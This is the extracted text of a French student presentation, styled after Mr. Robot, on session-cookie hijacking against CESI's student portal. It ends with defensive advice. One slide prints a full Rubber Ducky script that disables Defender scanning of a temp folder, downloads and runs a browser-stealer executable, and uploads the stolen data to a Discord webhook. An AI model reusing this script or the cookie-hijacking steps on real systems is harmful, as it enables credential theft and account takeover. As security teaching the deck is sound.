J'AI HACKÉ LE CESI !!!
J'AI HACKÉ LE CESI !!!
instance.set(START);
LES AUTHENTIFICATIONS
AU MENU DU JOUR...
J'AI HACKÉ LE CESI !!!
J'AI HACKÉ LE CESI !!!
instance.set(MENU);
J'AI HACKÉ LE CESI !!!
J'AI HACKÉ LE CESI !!!
LES AUTHENTIFICATIONS
instance.set(DEFINITIONS);
EST-CE SÉCURISÉ ?
J'AI HACKÉ LE CESI !!!
J'AI HACKÉ LE CESI !!!
LES AUTHENTIFICATIONS
Mr.Robot
E Corp
et leur sécurités
"compte de Tyrell.Wellick@e.corp.com"
instance.set(DEFINITIONS);
LES AUTHENTIFICATIONS
Mr.Robot
E Corp
"compte de Tyrell.Wellick@e.corp.com"
"ok, mais c'est quoi le mot de passe ?"
et leur sécurités
instance.set(DEFINITIONS);
LES AUTHENTIFICATIONS
"ok, mais c'est quoi le mot de passe ?"
Mr.Robot
E Corp
et leur sécurités
instance.set(DEFINITIONS);
LES AUTHENTIFICATIONS
"Tyrell_Wellick_best_COO"
Mr.Robot
E Corp
et leur sécurités
instance.set(DEFINITIONS);
LES AUTHENTIFICATIONS
"Non"
Mr.Robot
E Corp
et leur sécurités
instance.set(DEFINITIONS);
LES AUTHENTIFICATIONS
"supprime le compte"
Mr.Robot
E Corp
et leur sécurités
instance.set(DEFINITIONS);
"fu"
Mr.Robot
E Corp
Quelle sécurité est implémenté au sein de l'ent du CESI ?
LES AUTHENTIFICATIONS
EST-CE SÉCURISÉ ?
instance.set(SECURITY);
"fu"
Mr.Robot
E Corp
BROWSER
SERVER
roadmap.sh/login
rd1o00000....
EST-CE SÉCURISÉ ?
ent.cesi.fr
instance.set(SECURITY);
"fu"
Mr.Robot
E Corp
BROWSER
SERVER
roadmap.sh/login
Crée une Session
{ id: ...; email: ... }
rd1o00000....
EST-CE SÉCURISÉ ?
ent.cesi.fr
instance.set(SECURITY);
"fu"
Mr.Robot
E Corp
BROWSER
SERVER
roadmap.sh/login
{ id: ...; email: ... }
rd1o00000....
Crée une Session
Crée un ID de Session
EST-CE SÉCURISÉ ?
ent.cesi.fr
instance.set(SECURITY);
"fu"
Mr.Robot
E Corp
BROWSER
SERVER
roadmap.sh/login
{ id: ...; email: ... }
rd1o00000....
rd1o00000....
Crée une Session
Crée un ID de Session
EST-CE SÉCURISÉ ?
ent.cesi.fr
instance.set(SECURITY);
"fu"
Mr.Robot
E Corp
BROWSER
SERVER
roadmap.sh/login
{ id: ...; email: ... }
rd1o00000....
rd1o00000....
roadmap.sh/update-profile
Crée une Session
Crée un ID de Session
EST-CE SÉCURISÉ ?
ent.cesi.fr
instance.set(SECURITY);
"fu"
Mr.Robot
E Corp
BROWSER
SERVER
roadmap.sh/login
{ id: ...; email: ... }
rd1o00000....
rd1o00000....
roadmap.sh/update-profile
Crée une Session
Crée un ID de Session
EST-CE SÉCURISÉ ?
ent.cesi.fr
instance.set(SECURITY);
"fu"
Mr.Robot
E Corp
BROWSER
SERVER
roadmap.sh/login
{ id: ...; email: ... }
rd1o00000....
rd1o00000....
roadmap.sh/update-profile
Crée une Session
Crée un ID de Session
EST-CE SÉCURISÉ ?
ent.cesi.fr
instance.set(SECURITY);
"fu"
Mr.Robot
E Corp
BROWSER
SERVER
roadmap.sh/login
{ id: ...; email: ... }
rd1o00000....
rd1o00000....
roadmap.sh/update-profile
Crée une Session
Crée un ID de Session
Hello friend...
EST-CE SÉCURISÉ ?
ent.cesi.fr
instance.set(SECURITY);
"fu"
Mr.Robot
E Corp
SERVER
BROWSER
Hello friend...
EST-CE SÉCURISÉ ?
ent.cesi.fr
instance.set(HELLO_FRIEND);
"fu"
Mr.Robot
E Corp
SERVER
BROWSER
Hello friend...
EST-CE SÉCURISÉ ?
ent.cesi.fr
instance.set(CONTROL_IS_AN_ILLUSION);
"fu"
Mr.Robot
E Corp
SERVER
roadmap.sh/login
BROWSER
crée une copie de l'identifiant de session
Crée une Session
EST-CE SÉCURISÉ ?
ent.cesi.fr
instance.set(CONTROL_IS_AN_ILLUSION);
"fu"
Mr.Robot
E Corp
SERVER
roadmap.sh/login
BROWSER
crée une copie de l'identifiant de session
Crée une Session
EST-CE SÉCURISÉ ?
ent.cesi.fr
instance.set(USE_ILLUSION_TO_GAIN_CONTROL);
"fu"
Mr.Robot
E Corp
SERVER
roadmap.sh/login
BROWSER
crée une copie de l'identifiant de session
roadmap.sh/delete_account
Crée une Session
EST-CE SÉCURISÉ ?
ent.cesi.fr
instance.set(USE_ILLUSION_TO_GAIN_CONTROL);
"fu"
Mr.Robot
E Corp
SERVER
roadmap.sh/login
BROWSER
crée une copie de l'identifiant de session
roadmap.sh/delete_account
Crée une Session
Supprime le compte
Ceci peut être un simple Wi-Fi public
EST-CE SÉCURISÉ ?
ent.cesi.fr
instance.set(USE_ILLUSION_TO_GAIN_CONTROL);
"fu"
Mr.Robot
E Corp
SERVER
roadmap.sh/login
BROWSER
crée une copie de l'identifiant de session
roadmap.sh/delete_account
Crée une Session
Supprime le compte
Ceci peut être qu'un simple Wi-Fi publique
EST-CE SÉCURISÉ ?
ent.cesi.fr
instance.set(DONT_MISTAKE_MY_GENEROSITY_FOR_GENEROSITY);
"fu"
Mr.Robot
instance.set(SECURITY_CESI);
Quelle sécurité est implémenté au sein de l'ent du CESI ?
EST-CE SÉCURISÉ ?
Comment récupérer ces cookies ??
"fu"
Mr.Robot
instance.set(SECURITY_CESI);
Quelle sécurité est implémenté au sein de l'ent du CESI ?
EST-CE SÉCURISÉ ?
Comment récupérer ces cookies ??
adresse mail et autre IDs visiblent dans l'url requête
adresse mail et mot de passe visiblent en clair dans le contenu de la requête
"fu"
Mr.Robot
instance.set(SECURITY_CESI);
Quelle sécurité est implémenté au sein de l'ent du CESI ?
EST-CE SÉCURISÉ ?
Comment récupérer ces cookies ??
token d'identification en clair dans les cookies
"fu"
Mr.Robot
instance.set(SECURITY_CESI);
Quelle sécurité est implémenté au sein de l'ent du CESI ?
EST-CE SÉCURISÉ ?
Comment récupérer ces cookies ??
Bref, pas bon signe... pour le CESI
"fu"
Mr.Robot
instance.set(COOKIES_WA_OISHII_DESU);
Comment récupérer ces cookies ??
Démonstration !!
Quelle sécurité est implémenté au sein de l'ent du CESI ?
"fu"
Mr.Robot
instance.set(COOKIES_WA_OISHII_DESU);
Comment récupérer ces cookies ??
Démonstration !!
Quelle sécurité est implémenté au sein de l'ent du CESI ?
1. Avec accès physique
2. Sans accès physique
Rubber Ducky
"fu"
Mr.Robot
instance.set(COOKIES_WA_OISHII_DESU);
Comment récupérer ces cookies ??
Démonstration !!
Quelle sécurité est implémenté au sein de l'ent du CESI ?
1. Avec accès physique
2. Sans accès physique
Rubber Ducky
"fu"
Mr.Robot
instance.set(COOKIES_WA_OISHII_DESU);
Comment récupérer ces cookies ??
Démonstration !!
Quelle sécurité est implémenté au sein de l'ent du CESI ?
1. Avec accès physique
2. Sans acces physique
Rubber Ducky
"fu"
Mr.Robot
instance.set(COOKIES_WA_OISHII_DESU);
Comment récupérer ces cookies ??
Démonstration !!
Quelle sécurité est implémenté au sein de l'ent du CESI ?
1. Avec accès physique
2. Sans accès physique
Rubber Ducky
"fu"
Mr.Robot
instance.set(COOKIES_WA_OISHII_DESU);
Comment récupérer ces cookies ??
Démonstration !!
Quelle sécurité est implémenté au sein de l'ent du CESI ?
1. Avec accès physique
2. Sans accès physique
Man In The Middle
Rubber Ducky
REM password steal
GUI r
DELAY 500
STRING powershell
CTRL-SHIFT ENTER
DELAY 500
STRING function Upload-Discord {
ENTER
STRING [CmdletBinding()]
ENTER
STRING param (
ENTER
STRING [parameter(Position=0,Mandatory=$False)]
ENTER
STRING [string]$file,
ENTER
STRING [parameter(Position=1,Mandatory=$False)]
ENTER
STRING [string]$text
ENTER
STRING )
ENTER
STRING $hookurl = '<your_Discord_web_hook>'
ENTER
STRING $Body = @{
ENTER
STRING 'username' = $env:username
ENTER
STRING 'content' = $text
ENTER
STRING }
ENTER
STRING if (-not ([string]::IsNullOrEmpty($text))){
ENTER
STRING Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)};
ENTER
STRING if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl}
ENTER
STRING }
ENTER
REM Add C:/ to exlusions so Windows Defender doesnt flag the exe we will download
STRING Add-MpPreference -ExclusionPath $env:tmp
ENTER
REM Download the exe and save it to temp directory
STRING iwr "https://github.com/atomiczsec/My-Payloads/blob/main/Assets/browser.exe?raw=true" -outfile "$env:tmp\browser.exe"
ENTER
REM Execute the Browser Stealer
STRING cd $env:tmp;Start-Process -FilePath "$env:tmp\browser.exe" -WindowStyle h -Wait
ENTER
REM Exfiltrate the loot to discord
STRING Compress-Archive -Path "$env:tmp\results" -DestinationPath $env:tmp\browserdata.zip
ENTER
STRING Upload-Discord -file "$env:tmp\browserdata.zip"
ENTER"fu"
Mr.Robot
instance.set(COOKIES_WA_OISHII_DESU);
Comment récupérer ces cookies ??
Démonstration !!
Quelle sécurité est implémenté au sein de l'ent du CESI ?
1. Avec accès physique
2. Sans accès physique
Man In The Middle
Rubber Ducky
"fu"
Mr.Robot
instance.set(COOKIES_WA_OISHII_DESU);
Comment récupérer ces cookies ??
Démonstration !!
Quelle sécurité est implémenté au sein de l'ent du CESI ?
1. Avec accès physique
2. Sans accès physique
Man In The Middle
SERVER
BROWSER
Hello friend...
"fu"
Mr.Robot
instance.set(COOKIES_WA_OISHII_DESU);
Comment récupérer ces cookies ??
Démonstration !!
Quelle sécurité est implémenté au sein de l'ent du CESI ?
1. Avec accès physique
2. Sans accès physique
Man In The Middle
SERVER
BROWSER
Hello friend...
Facile, toutes les donnée sont en texte clair
"fu"
Mr.Robot
instance.set(DEMONSTRATION);
ent.cesi.fr
EST-CE SÉCURISÉ ?
Comment récupérer ces cookies ??
Démonstration !!
Un patch ?
"fu"
Mr.Robot
instance.set(DEMONSTRATION);
ent.cesi.fr
EST-CE SÉCURISÉ ?
Comment récupérer ces cookies ??
Démonstration !!
Un patch ?
Connexion a l'ENT depuis chrome
"fu"
Mr.Robot
instance.set(DEMONSTRATION);
ent.cesi.fr
EST-CE SÉCURISÉ ?
Comment récupérer ces cookies ??
Démonstration !!
Un patch ?
Récuperation des cookies valides
(simulation d'un hack)
"fu"
Mr.Robot
instance.set(DEMONSTRATION);
ent.cesi.fr
EST-CE SÉCURISÉ ?
Comment récupérer ces cookies ??
Démonstration !!
Un patch ?
Connexion à l'ENT (https://ent.cesi.fr/accueil-apprenant) depuis Burp Suite
"fu"
Mr.Robot
instance.set(DEMONSTRATION);
ent.cesi.fr
EST-CE SÉCURISÉ ?
Comment récupérer ces cookies ??
Démonstration !!
Un patch ?
Cookies donnés par l'ENT
"fu"
Mr.Robot
instance.set(DEMONSTRATION);
ent.cesi.fr
EST-CE SÉCURISÉ ?
Comment récupérer ces cookies ??
Démonstration !!
Un patch ?
Changement des cookies par ceux valides
"fu"
Mr.Robot
instance.set(DEMONSTRATION);
ent.cesi.fr
EST-CE SÉCURISÉ ?
Comment récupérer ces cookies ??
Démonstration !!
Un patch ?
Envoie de la requête
"fu"
Mr.Robot
instance.set(DEMONSTRATION);
ent.cesi.fr
EST-CE SÉCURISÉ ?
Comment récupérer ces cookies ??
Démonstration !!
Un patch ?
accès à l'ENT de la "victime"
"fu"
Mr.Robot
instance.set(FIX);
ent.cesi.fr
EST-CE SÉCURISÉ ?
Comment récupérer ces cookies ??
Démonstration !!
Un patch ?
Contre la récupération des cookies :
contre une attaque man in the middle:
Activer le SSL (Secure Socket Layer)
The End
"fu"
Mr.Robot
instance.set(FIX);
ent.cesi.fr
EST-CE SÉCURISÉ ?
Comment récupérer ces cookies ??
Démonstration !!
Un patch ?
Contre la récupération des cookies :
contre une attaque man in the middle:
Activer le SSL (Secure Socket Layer)
contre une attaque physique:
Jamais laisser son ordinateur déverrouillé sans surveillance
Jamais brancher de clés USB inconnue
"fu"
Mr.Robot
instance.set(FIX);
ent.cesi.fr
EST-CE SÉCURISÉ ?
Comment récupérer ces cookies ??
Démonstration !!
Un patch ?
Contre la récupération des cookies :
Activer le SSL (Secure Socket Layer)
contre une attaque man in the middle:
contre une attaque physique:
Jamais laisser son ordinateur déverrouillé sans surveillance
Jamais brancher de clés USB inconnue
Du côté du site WEB :
Garder en mémoire l'adresse IP lors de l'autentification
A chaque actions de l'utilisateur, une vérification de cette IP peut être faite.
"fu"
Mr.Robot
instance.set(FIX);
ent.cesi.fr
EST-CE SÉCURISÉ ?
Comment récupérer ces cookies ??
Démonstration !!
Un patch ?
Contre la récupération des cookies :
Activer le SSL (Secure Socket Layer)
contre une attaque man in the middle:
contre une attaque physique:
Jamais laisser son ordinateur déverrouillé sans surveillance
Jamais brancher de clés USB inconnue
Du côté du site WEB :
Garder en mémoire l'adresse IP lors de l'autentification
A chaque actions de l'utilisateur, une vérification de cette IP peut être faite.
Mais cela ne serait pas effectif si la victime et le hacker se trouvent dans le même réseaux (wifi publique, wifi corporate, ...)
Ou si l'utilisateur change régulièrement d'adresse IP (réseaux mobile, utilisation d'un VPN, ...)
"fu"
Mr.Robot
instance.set(FIX);
ent.cesi.fr
EST-CE SÉCURISÉ ?
Comment récupérer ces cookies ??
Démonstration !!
Un patch ?
Du côté du site WEB :
Garder en mémoire l'adresse IP lors de l'autentification
A chaque actions de l'utilisateur, une vérification de cette IP peut être faite.
Mais cela ne serait pas effectif si la victime et le hacker se trouvent dans le même réseaux (wifi publique, wifi corporate, ...)
Ou si l'utilisateur change régulièrement d'adresse IP (réseaux mobile, utilisation d'un VPN, ...) il devra constament se reconnecter
Généralement, plus un service est facile d'utilisation, plus il est difficile de le sécuriser efficacement
"fu"
Mr.Robot
instance.set(FIX);
ent.cesi.fr
EST-CE SÉCURISÉ ?
Comment récupérer ces cookies ??
Démonstration !!
Un patch ?
Du côté du site WEB :
Garder en mémoire l'adresse IP lors de l'autentification
A chaque actions de l'utilisateur, une vérification de cette IP peut être faite.
Mais cela ne serait pas effectif si la victime et le hacker se trouvent dans le même réseaux (wifi publique, wifi corporate, ...)
Ou si l'utilisateur change régulièrement d'adresse IP (réseaux mobile, utilisation d'un VPN, ...) il devra constament se reconnecter
Généralement, plus un service est facile d'utilisation, plus il est difficile de le sécuriser efficacement
"fu"
Mr.Robot
instance.set(END);
ent.cesi.fr
EST-CE SÉCURISÉ ?
Comment récupérer ces cookies ??
Un patch ?
The End